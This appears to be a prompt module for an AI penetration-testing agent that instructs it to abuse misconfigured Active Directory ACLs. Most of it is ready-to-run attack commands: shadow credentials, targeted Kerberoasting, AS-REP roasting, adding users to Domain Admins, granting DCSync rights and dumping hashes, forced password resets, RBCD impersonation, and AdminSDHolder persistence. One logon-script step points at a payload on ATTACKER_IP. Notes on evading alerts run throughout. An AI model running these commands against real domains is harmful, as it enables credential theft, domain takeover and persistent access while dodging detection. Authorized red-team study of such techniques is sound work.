Acl Abuse

ACL/ACE Abuse

You are helping a penetration tester exploit misconfigured Active Directory access control lists for privilege escalation. All testing is under explicit written authorization.

Kerberos-first authentication: All commands default to Kerberos auth via ccache. Use -k -no-pass (Impacket), --use-kcache (NetExec), -k (bloodyAD, Certipy) throughout. Shadow credentials + PKINIT is natively Kerberos.

Engagement Logging

Check for ./engagement/ directory. If absent, proceed without logging.

When an engagement directory exists:

• Print [acl-abuse] Activated → <target> to the screen on activation.
• Evidence → save significant output to engagement/evidence/ with descriptive filenames (e.g., sqli-users-dump.txt, ssrf-aws-creds.json).

State Management

Call get_state_summary() from the state MCP server to read current engagement state. Use it to:

• Skip re-testing targets, parameters, or vulns already confirmed
• Leverage existing credentials or access for this technique
• Understand what's been tried and failed (check Blocked section)

Your return summary must include:

• New targets/hosts discovered (with ports and services)
• New credentials or tokens found
• Access gained or changed (user, privilege level, method)
• Vulnerabilities confirmed (with status and severity)
• Pivot paths identified (what leads where)
• Blocked items (what failed and why, whether retryable)

Prerequisites

• Domain credentials (any level — ACL paths often start from low-priv users)
• Identified ACL misconfiguration (via BloodHound, PowerView, or bloodyAD)
• Tools: bloodyAD, Impacket suite, optionally PowerView, pywhisker, Certipy, dacledit.py, Whisker.exe

Kerberos-first workflow:

cd $TMPDIR && getTGT.py DOMAIN/user -hashes :NTHASH -dc-ip DC_IP
# or with password
cd $TMPDIR && getTGT.py DOMAIN/user:'Password123!' -dc-ip DC_IP
export KRB5CCNAME=$TMPDIR/user.ccache
# All subsequent commands use -k -no-pass or equivalent

Tool output directory: getTGT.py, certipy shadow, and bloodyAD add shadowCredentials write output files to CWD. Always prefix with cd $TMPDIR &&. getTGT.py does NOT support -out. When saving evidence, use mv (not cp) to avoid stray duplicates.

Step 1: Enumerate Exploitable ACLs

Skip if BloodHound or ad-discovery already identified the path.

bloodyAD (Linux — Preferred)

# Find objects you can write to
bloodyAD -d DOMAIN.LOCAL -k --host DC.DOMAIN.LOCAL --dc-ip DC_IP get writable \
  --otype USER --right WRITE --detail

bloodyAD -d DOMAIN.LOCAL -k --host DC.DOMAIN.LOCAL --dc-ip DC_IP get writable \
  --otype GROUP --right WRITE --detail

bloodyAD -d DOMAIN.LOCAL -k --host DC.DOMAIN.LOCAL --dc-ip DC_IP get writable \
  --otype COMPUTER --right WRITE --detail

# Check specific object
bloodyAD -d DOMAIN.LOCAL -k --host DC.DOMAIN.LOCAL --dc-ip DC_IP get object \
  targetuser --attr nTSecurityDescriptor --resolve-sd

PowerView (Windows)

# Scan for exploitable ACLs
Invoke-ACLScanner -ResolveGUIDs | Select ObjectDN,IdentityReferenceName,ActiveDirectoryRights

# Check specific object
Get-ObjectAcl -SamAccountName targetuser -ResolveGUIDs | ? {
  $_.ActiveDirectoryRights -match "GenericAll|GenericWrite|WriteDacl|WriteOwner|ForceChangePassword"
}

BloodHound Queries

# Shortest path from owned to Domain Admins via ACL edges
MATCH p=shortestPath((n {owned:true})-[r:GenericAll|GenericWrite|WriteDacl|WriteOwner|ForceChangePassword|Owns*1..]->(m:Group {name:'DOMAIN ADMINS@DOMAIN.LOCAL'})) RETURN p

# All ACL edges from a specific user
MATCH p=(n:User {name:'USER@DOMAIN.LOCAL'})-[r:GenericAll|GenericWrite|WriteDacl|WriteOwner|ForceChangePassword]->(m) RETURN p

Decision Tree

Step 2: GenericAll / GenericWrite on User

You have full control or write access to a user object. Multiple techniques available — choose by OPSEC preference.

Option A: Shadow Credentials (Lowest OPSEC — Preferred)

Add a key credential to the target's msDS-KeyCredentialLink attribute, then authenticate via PKINIT. No password change, pure Kerberos.

Requirements: DC is Windows Server 2016+, AD CS configured, PKINIT enabled.

# bloodyAD — add shadow credential (preferred, most commonly installed)
cd $TMPDIR && bloodyAD -d DOMAIN.LOCAL -k --host DC.DOMAIN.LOCAL \
  --dc-ip DC_IP add shadowCredentials targetuser
# Output: PFX file + password + NT hash

# Alternative: pywhisker
cd $TMPDIR && pywhisker.py -d DOMAIN.LOCAL -u attacker -k --no-pass \
  --target targetuser --action add --filename targetuser_cert
# Output: PFX file path + password + DeviceID (save for cleanup)

# Alternative: Certipy (full automation — adds cred + gets TGT)
cd $TMPDIR && certipy shadow auto -account targetuser -dc-ip DC_IP -k -no-pass \
  -target DC.DOMAIN.LOCAL

Authenticate with the PFX (PKINIT):

# Get TGT via PKINIT
gettgtpkinit.py DOMAIN.LOCAL/targetuser targetuser.ccache \
  -cert-pfx targetuser_cert.pfx -pfx-pass 'PFX_PASSWORD'

# Or with Certipy
certipy auth -pfx targetuser_cert.pfx -dc-ip DC_IP

# Use the TGT
export KRB5CCNAME=targetuser.ccache
secretsdump.py -k -no-pass DOMAIN/targetuser@DC.DOMAIN.LOCAL

If target is a computer account — S4U2Self for impersonation:

# Get TGT for the computer
gettgtpkinit.py DOMAIN.LOCAL/TARGET\$ target.ccache \
  -cert-pfx target_cert.pfx -pfx-pass 'PFX_PASSWORD'

# S4U2Self to impersonate Administrator
export KRB5CCNAME=target.ccache
gets4uticket.py kerberos+ccache://DOMAIN.LOCAL\\TARGET\$:target.ccache@DC.DOMAIN.LOCAL \
  cifs/TARGET.DOMAIN.LOCAL@DOMAIN.LOCAL Administrator@DOMAIN.LOCAL admin.ccache

export KRB5CCNAME=admin.ccache
wmiexec.py -k -no-pass DOMAIN/Administrator@TARGET.DOMAIN.LOCAL

Cleanup (critical):

# bloodyAD (preferred)
bloodyAD -d DOMAIN.LOCAL -k --host DC.DOMAIN.LOCAL --dc-ip DC_IP \
  remove shadowCredentials targetuser --key KEY_ID

# Or pywhisker
pywhisker.py -d DOMAIN.LOCAL -u attacker -k --no-pass \
  --target targetuser --action remove --device-id DEVICE_ID

# Verify removal
pywhisker.py -d DOMAIN.LOCAL -u attacker -k --no-pass \
  --target targetuser --action list

Option B: Targeted Kerberoasting (SPN Manipulation)

Set an SPN on the target user, request a TGS, crack it offline, remove the SPN.

# Check current SPNs (should be empty for regular users)
bloodyAD -d DOMAIN.LOCAL -k --host DC.DOMAIN.LOCAL --dc-ip DC_IP get object \
  targetuser --attr serviceprincipalname

# Set SPN
bloodyAD -d DOMAIN.LOCAL -k --host DC.DOMAIN.LOCAL --dc-ip DC_IP set object \
  targetuser serviceprincipalname -v 'ops/whatever1'

# Extract TGS
GetUserSPNs.py DOMAIN/attacker -k -no-pass -request-user targetuser \
  -outputfile engagement/evidence/acl-targeted-kerberoast.txt

# Do NOT crack here — save hash and route to credential-recovery
# (hashcat mode 13100 for RC4, 19700 for AES)

# Remove SPN immediately (cleanup)
bloodyAD -d DOMAIN.LOCAL -k --host DC.DOMAIN.LOCAL --dc-ip DC_IP set object \
  targetuser serviceprincipalname

# PowerView (Windows)
Set-DomainObject targetuser -Set @{serviceprincipalname='ops/whatever1'}
Get-DomainUser targetuser | Get-DomainSPNTicket | fl
Set-DomainObject -Identity targetuser -Clear serviceprincipalname

OPSEC: Medium — SPN creation logged as Event 5136. Remove SPN immediately after TGS extraction. Do NOT crack hashes in this skill. Save hashes to engagement/evidence/ and return to the orchestrator with the hash file path, hash type/mode, and a routing recommendation to credential-recovery.

Option C: ASREPRoasting (Disable Pre-Auth)

# Disable Kerberos pre-authentication
bloodyAD -d DOMAIN.LOCAL -k --host DC.DOMAIN.LOCAL --dc-ip DC_IP add uac \
  targetuser -f DONT_REQ_PREAUTH

# Get AS-REP hash
GetNPUsers.py DOMAIN/targetuser -format hashcat \
  -outputfile engagement/evidence/acl-asrep-hash.txt -k -no-pass

# Do NOT crack here — save hash and route to credential-recovery
# (hashcat mode 18200 for AS-REP)

# Restore pre-auth (cleanup)
bloodyAD -d DOMAIN.LOCAL -k --host DC.DOMAIN.LOCAL --dc-ip DC_IP remove uac \
  targetuser -f DONT_REQ_PREAUTH

OPSEC: Medium — UAC change logged as Event 5136. Disabled pre-auth is unusual and may trigger alerts.

Option D: Logon Script Path

# Set logon script (executes at user's next logon)
bloodyAD -d DOMAIN.LOCAL -k --host DC.DOMAIN.LOCAL --dc-ip DC_IP set object \
  targetuser scriptpath -v '\\ATTACKER_IP\share\payload.bat'

# Cleanup
bloodyAD -d DOMAIN.LOCAL -k --host DC.DOMAIN.LOCAL --dc-ip DC_IP set object \
  targetuser scriptpath -v ''

OPSEC: Medium-High — requires user logon, script path visible in AD.

Step 3: GenericAll / GenericWrite on Group

Add yourself (or a controlled user) to a privileged group.

# bloodyAD
bloodyAD -d DOMAIN.LOCAL -k --host DC.DOMAIN.LOCAL --dc-ip DC_IP \
  add groupMember 'Domain Admins' attacker

# Verify
bloodyAD -d DOMAIN.LOCAL -k --host DC.DOMAIN.LOCAL --dc-ip DC_IP \
  get groupMember 'Domain Admins'

# Cleanup
bloodyAD -d DOMAIN.LOCAL -k --host DC.DOMAIN.LOCAL --dc-ip DC_IP \
  remove groupMember 'Domain Admins' attacker

# PowerView
Add-DomainGroupMember -Identity 'Domain Admins' -Members attacker
Get-DomainGroupMember -Identity 'Domain Admins'
Remove-DomainGroupMember -Identity 'Domain Admins' -Members attacker

OPSEC: High — Group membership changes logged as Event 4728/4732/4756. Domain Admins modifications generate immediate alerts. Consider targeting less-monitored groups that still provide the access you need.

Step 4: WriteDACL

Grant yourself additional permissions on the target object.

WriteDACL on Domain Object → DCSync

# Grant DCSync rights (Replicating Directory Changes + All)
bloodyAD -d DOMAIN.LOCAL -k --host DC.DOMAIN.LOCAL --dc-ip DC_IP add dcsync attacker

# Or with dacledit.py
dacledit.py -action write -rights DCSync -principal attacker \
  -target-dn 'DC=DOMAIN,DC=LOCAL' DOMAIN/attacker -k -no-pass

# Perform DCSync
secretsdump.py -k -no-pass DOMAIN/attacker@DC.DOMAIN.LOCAL -just-dc

# Cleanup — remove DCSync rights
bloodyAD -d DOMAIN.LOCAL -k --host DC.DOMAIN.LOCAL --dc-ip DC_IP remove dcsync attacker

WriteDACL on Group/User → GenericAll

# Grant GenericAll on group
bloodyAD -d DOMAIN.LOCAL -k --host DC.DOMAIN.LOCAL --dc-ip DC_IP add genericAll \
  'CN=Domain Admins,CN=Users,DC=DOMAIN,DC=LOCAL' attacker

# Now you have GenericAll — proceed to Step 3 (group) or Step 2 (user)

# Cleanup
bloodyAD -d DOMAIN.LOCAL -k --host DC.DOMAIN.LOCAL --dc-ip DC_IP remove genericAll \
  'CN=Domain Admins,CN=Users,DC=DOMAIN,DC=LOCAL' attacker

# PowerView
Add-DomainObjectAcl -TargetIdentity 'Domain Admins' -Rights All \
  -PrincipalIdentity attacker -Verbose

WriteDACL on OU → Inheritance

# Grant FullControl on OU with inheritance (propagates to all children)
dacledit.py -action write -rights FullControl -inheritance \
  -principal attacker -target-dn 'OU=SERVERS,DC=DOMAIN,DC=LOCAL' \
  DOMAIN/attacker -k -no-pass

Note: Objects with adminCount=1 do NOT inherit from parent OUs (AdminSDHolder protection).

OPSEC: High — ACL changes logged as Event 5136, Event 4662 for directory access. DCSync triggers Event 4662 with replication GUIDs.

Step 5: WriteOwner

Take ownership of an object, then modify its DACL.

# Step 1: Change owner to yourself
bloodyAD -d DOMAIN.LOCAL -k --host DC.DOMAIN.LOCAL --dc-ip DC_IP \
  set owner targetobject attacker

# Step 2: As owner, grant yourself GenericAll
bloodyAD -d DOMAIN.LOCAL -k --host DC.DOMAIN.LOCAL --dc-ip DC_IP \
  add genericAll targetobject attacker

# Step 3: Exploit (password reset, shadow creds, group add, etc.)
# ... use techniques from Step 2 or Step 3

# Cleanup: restore original owner and remove ACL
bloodyAD -d DOMAIN.LOCAL -k --host DC.DOMAIN.LOCAL --dc-ip DC_IP \
  remove genericAll targetobject attacker
bloodyAD -d DOMAIN.LOCAL -k --host DC.DOMAIN.LOCAL --dc-ip DC_IP \
  set owner targetobject original_owner

# PowerView
Set-DomainObjectOwner -Identity targetobject -OwnerIdentity attacker
Add-DomainObjectAcl -TargetIdentity targetobject -Rights All \
  -PrincipalIdentity attacker

OPSEC: Medium — Owner change logged as Event 4670. Two-step attack creates an audit trail.

Step 6: ForceChangePassword

Reset a user's password without knowing the current one. Destructive — the user will be locked out of their account.

# bloodyAD
bloodyAD -d DOMAIN.LOCAL -k --host DC.DOMAIN.LOCAL --dc-ip DC_IP set password \
  targetuser 'NewP@ssw0rd!'

# rpcclient
rpcclient -U 'attacker%password' DC_IP \
  -c "setuserinfo2 targetuser 23 'NewP@ssw0rd!'"

# PowerView
Set-DomainUserPassword -Identity targetuser \
  -AccountPassword (ConvertTo-SecureString 'NewP@ssw0rd!' -AsPlainText -Force)

OPSEC: High — Password reset logged as Event 4724. User loses access. Triggers MFA re-enrollment, conditional access, and help desk tickets. Use shadow credentials (Step 2 Option A) instead whenever possible.

Step 7: GenericAll/GenericWrite on Computer → RBCD

If you have write access to a computer object, set up Resource-Based Constrained Delegation.

# Create attacker computer account (if needed)
addcomputer.py -computer-name 'FAKECOMP$' -computer-pass 'P@ssw0rd!' \
  DOMAIN/attacker -k -no-pass

# Set RBCD
bloodyAD -d DOMAIN.LOCAL -k --host DC.DOMAIN.LOCAL --dc-ip DC_IP add rbcd 'TARGET$' 'FAKECOMP$'

# S4U attack — see kerberos-delegation skill for full chain
getST.py -spn cifs/TARGET.DOMAIN.LOCAL -impersonate Administrator \
  DOMAIN/'FAKECOMP$':'P@ssw0rd!'

export KRB5CCNAME=Administrator.ccache
secretsdump.py -k -no-pass DOMAIN/Administrator@TARGET.DOMAIN.LOCAL

# Cleanup
bloodyAD -d DOMAIN.LOCAL -k --host DC.DOMAIN.LOCAL --dc-ip DC_IP remove rbcd 'TARGET$' 'FAKECOMP$'

Escalate (Step 4) for the full RBCD exploitation chain.

Step 8: AdminSDHolder Persistence

Concept: AdminSDHolder is a template object. SDProp runs every 60 minutes and copies AdminSDHolder's DACL to all objects with adminCount=1 (Domain Admins, Enterprise Admins, etc.). Backdoor AdminSDHolder → your ACE propagates to all privileged accounts.

Requires: Existing Domain Admin access (persistence technique, not escalation).

# Add GenericAll for attacker on AdminSDHolder
bloodyAD -d DOMAIN.LOCAL -k --host DC.DOMAIN.LOCAL --dc-ip DC_IP add genericAll \
  'CN=AdminSDHolder,CN=System,DC=DOMAIN,DC=LOCAL' attacker

# Wait for SDProp (60 minutes by default) or force it:
# On DC as admin:
Invoke-ADSDPropagation  # PowerShell
# or
ldifde -i -f sdprop.ldf  # LDAP modification to trigger SDProp

# After propagation: attacker has GenericAll on all adminCount=1 objects
# This persists across password changes, group modifications, etc.

# Cleanup
bloodyAD -d DOMAIN.LOCAL -k --host DC.DOMAIN.LOCAL --dc-ip DC_IP remove genericAll \
  'CN=AdminSDHolder,CN=System,DC=DOMAIN,DC=LOCAL' attacker
# Note: cleanup won't propagate until next SDProp cycle

OPSEC: Medium — AdminSDHolder ACL changes are rarely monitored but highly suspicious if found during forensics. SDProp propagation is normal AD behavior.

Step 9: Escalate or Pivot

STOP and return to the orchestrator with:

• What was achieved (RCE, creds, file read, etc.)
• New credentials, access, or pivot paths discovered
• Context for next steps (platform, access method, working payloads)

Troubleshooting

Shadow Credentials: "Key credential not supported"

DC must be Windows Server 2016+ with AD CS and PKINIT configured. Check:

certipy find -dc-ip DC_IP -k -no-pass -stdout | grep "Certificate Authority"

If no CA exists, fall back to targeted Kerberoasting (Option B).

Shadow Credentials: PKINIT Auth Fails

• Ensure the PFX password matches what was output during creation
• Verify the DC has an enrollment agent certificate
• Check that PKINIT is enabled in domain policies
• Try certipy shadow auto for automated handling

ForceChangePassword: "Access Denied"

• The ExtendedRight for password reset may not be inherited. Check the specific ACE on the target object, not just the OU.
• Some accounts have explicit deny ACEs that override inherited allow.

WriteDACL Succeeds But Exploitation Fails

• ACL changes may take time to replicate across DCs (AD replication lag)
• Target the same DC for both ACL modification and exploitation
• Verify with get object --attr nTSecurityDescriptor after modification

bloodyAD: "Unable to connect"

• Ensure -k flag is present for Kerberos auth
• Verify KRB5CCNAME points to a valid ccache
• Try --host DC_FQDN (not IP) for Kerberos name resolution
• Always include --dc-ip DC_IP when using Kerberos auth — DNS resolution failures are common in lab environments and cause bloodyAD to hang or error. All bloodyAD Kerberos commands should use: bloodyAD -d DOMAIN -k --host DC.DOMAIN.LOCAL --dc-ip DC_IP ...

Shadow Credentials: S4U ccache cannot write to other objects

Shadow credential authentication produces an S4U service ticket (not a full TGT). This ticket has limited scope — it authenticates for the target account but may fail for LDAP writes against other AD objects. If you need to chain shadow credentials to modify a second account:

# Don't use the shadow credential ccache for the second target
# Instead, get a proper TGT using the NT hash from shadow creds
cd $TMPDIR && getTGT.py DOMAIN/compromised_user -hashes :NTHASH -dc-ip DC_IP
export KRB5CCNAME=$TMPDIR/compromised_user.ccache
# Now this TGT works for LDAP writes against any object

KRB_AP_ERR_SKEW (Clock Skew)

Kerberos requires clocks within 5 minutes of the DC. This is a Clock Skew Interrupt — stop immediately and return to the orchestrator. Do not retry or fall back to NTLM. The fix requires root:

sudo ntpdate DC_IP
# or
sudo rdate -n DC_IP

OPSEC Comparison